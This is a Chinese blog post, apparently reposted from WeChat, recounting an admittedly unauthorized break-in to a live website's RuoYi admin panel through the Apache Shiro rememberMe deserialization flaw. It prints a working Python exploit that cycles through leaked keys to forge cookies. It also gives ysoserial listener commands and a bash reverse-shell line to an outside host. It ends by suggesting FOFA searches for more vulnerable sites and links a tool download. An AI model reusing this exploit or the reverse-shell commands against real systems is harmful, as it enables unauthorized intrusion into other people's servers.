记录渗透某站成功拿到shell

  • A+
所属分类:安全文章

注:此文在土司发过一次 作者已授权


记录渗透某站成功拿到shell
微信搜一搜
记录渗透某站成功拿到shell
moonsec

记录渗透某站成功拿到shell

1

前言

这几个月忙项目去了,回来发现号变僵尸号了QAQ,这里记录一次对某站的渗透,过程比较曲折,最终成功反弹shell~


2
主站

www.xxx.com

在IP138.com网进行子域名搜索

子域名收集

在ip138.com只搜到两个子域名,且其中一个关闭了,遂上脚本跑字典,爆出下列域名

域名解析IP开放端口WEB服务器网站状态v.xxx.com 117.xx.xx.50 80,443 Apache 80:正常访问 www.xxx.com 47.xx.xx.53 80,443 Apache 80:正常访问 test.xxx.com 47.xx.xxer.177 80,443 Apache 80:(404) 未找到 mail.xxx.com 117.xx.xx.46 80,443 Microsoft-IIS/7.5 80:(440) Login Timeout admin.xxx.com 117.xx.xx.45 - 端口未开放端口未开放 ftp.xxx.com 117.xx.xx.37 - 端口未开放端口未开放 pool.xxx.com 117.xx.xx.45 - 端口未开放端口未开放 mailgw.xxx.com 117.xx.xx.52 - 端口未开放端口未开放 jwtactive.xxx.com 39.xx.xx.233 80,443 nginx/1.15.10 80:正常访问

分析

经访问得到117.xx.xx.45为outlook web 登录页面

记录渗透某站成功拿到shell

jwtactive.xxx.com为某系统后台登陆界面

记录渗透某站成功拿到shell

二个入口,二选一,肯定上第二个!

这种界面从第一眼其实可以判断出用的应该是某个模板,去试了下cms识别没有识别出来,到这可能有些老哥就想试试爆破了,其实可以看看前端源码,说不定能爆出啥来,f12一看,嘿嘿,果然有


记录渗透某站成功拿到shell


从前端代码能看出为若依框架,直接百度看看是个啥

记录渗透某站成功拿到shell

这就很有意思了,人家官网直接进去就提示,说明这个漏洞影响很大,看看是啥漏洞,如果能用那得省很多事

记录渗透某站成功拿到shell

霍霍,这个Apache shiro好像已经出了很久,根据前端源码是能看出版本为3.4.0,所以存在该漏洞的

记录渗透某站成功拿到shell

ok,找到方向直接开干,先找一篇相关漏洞的帖子

这里推荐https://zhuanlan.zhihu.com/p/96645797这一篇写的很详细,工具要求里面都有


3
过程

根据dalao的帖子优化了脚本,顺便收集了网上的key,再遇到此漏洞就可以直接跑脚本了,不需要自己改包了,果然是懒推动了自动化哈哈哈

下面贴出脚本核心代码

import base64import uuidimport subprocessfrom Crypto.Cipher import AESimport requestsimport configrequests.packages.urllib3.disable_warnings()def encode_rememberme(command, key):    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command],    stdout=subprocess.PIPE)    BS = AES.block_size    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()    mode = AES.MODE_CBC    iv = uuid.uuid4().bytes    encryptor = AES.new(base64.b64decode(key), mode, iv)    file_body = pad(popen.stdout.read())    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))    return base64_ciphertext
def get_html(url): headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1'} with open('./key.txt', 'r') as f: list_key = f.readlines() f.close() for key in list_key: key = key.strip('n') try: rememberme = encode_rememberme(config.command, key) except: print('该key有问题 {}'.format(key)) continue payload = ("rememberMe={}".format(rememberme.decode())) # print('发送pyaload' + payload) headers['Cookie'] = payload r = requests.get(url, headers=headers, proxies=config.proxies,verify=False ) if 'rememberMe=deleteMe' not in r.headers['Set-Cookie']: print('') with open("./payload.txt", "a", encoding='utf-8') as fpw: fpw.write('%s %s %sn' % (url, key, payload)) else:            print('exp已发送')if __name__ == '__main__': get_html(config.url)


具体套件和使用方法将在文末打包发出来


3.1.配置公网环境

java jdk版本>=1.7

ysoserial.jar 版本为0.0.5

nc 反弹shell

3.2.监听端口

把ysoserial.jar文件上传到当前目录

把要执行的命令进行加密后监听端口,这里用bash反弹命令

记录渗透某站成功拿到shell

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 '加密后的指令'

java监听的为6666端口

nc监听bash命令端口


记录渗透某站成功拿到shell

记录渗透某站成功拿到shell

3.3.运行脚本

进入config.py里修改配置(如下)

# 接收服务器ip:端口

command = '公网ip:6666'

# 目标url

url = 'http://jwtactive.xxx.com/login'

# 代理

proxies = {"http": "http://127.0.0.1:8888", "https": "https://127.0.0.1:8888"}

运行exp.py

记录渗透某站成功拿到shell

运行成功!java监听端口收到,但是这时候出了一个问题,nc没回显

很纳闷,难道是cc链的原因,从27都试了一遍,结果都一样,java监听端口有返回,nc一直没反应

只能仔细回顾流程重新走一遍看有啥错误,试了n遍结果都一样。裤子都脱光了,结果就这?差点心态崩了

后来想了想java端口有回显,应该不是脚本和文件的问题,nc回显是通过那条bash命令,然后就换了条bash命令

/bin/bash -i> /dev/tcp/xxxx/666 0<&1 2>&1

重新加密后再来一遍!

结果还是一样。。。

记录渗透某站成功拿到shell

就像个战神一样一动也不动,怎么调情都不出来

后来转念一下,会不会还是cc链的问题,又开始从27试一遍,到试到5的时候

记录渗透某站成功拿到shell

目无表情的看着,java监听端口依旧正常,不太报希望的时候默默点开nc

记录渗透某站成功拿到shell

哦豁!行起来了,终于进去了!

记录渗透某站成功拿到shell

shell 下命令,能正常返回,哦~,终于爽了

到此为止,慢慢进入了贤者模式,一切都是那么枯燥。。。

哈哈,不开玩笑了,因为没有授权,到此就不再继续了

4
总结

前期的信息收集依然是非常关键,找到后台没有识别出是什么cms也不用急于去爆破,可以通过前端的jsui等等来判断

找到cms后可以进官方的版本更新记录,基本上都会列出修复过什么漏洞,那些使用开源的建站系统一定要有经常更新的习惯,开源的漏洞永远补不完哟。。。

关于Apache_Shiro这个漏洞已经爆出很久了,不过还存在此漏洞的网站依然很多,通过fofa搜关键字ruoyi,啧啧啧,那多的,我就不说了,老哥们懂的


5
下载

链接:https://pan.baidu.com/s/1YB3KAgw1uiYld17Ds1rsXg

提取码:l4w2 解压码 moonsec


附图

记录渗透某站成功拿到shell


记录渗透某站成功拿到shell

记录渗透某站成功拿到shell

如果你觉得文章还不错,就请点击右上角选择发送给朋友或者转发到朋友圈。您的支持和鼓励是我们最大的动力。喜欢就请关注我们吧~

记录渗透某站成功拿到shell

长按二维码

关注我们



原文始发于微信公众号(moonsec):记录渗透某站成功拿到shell

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: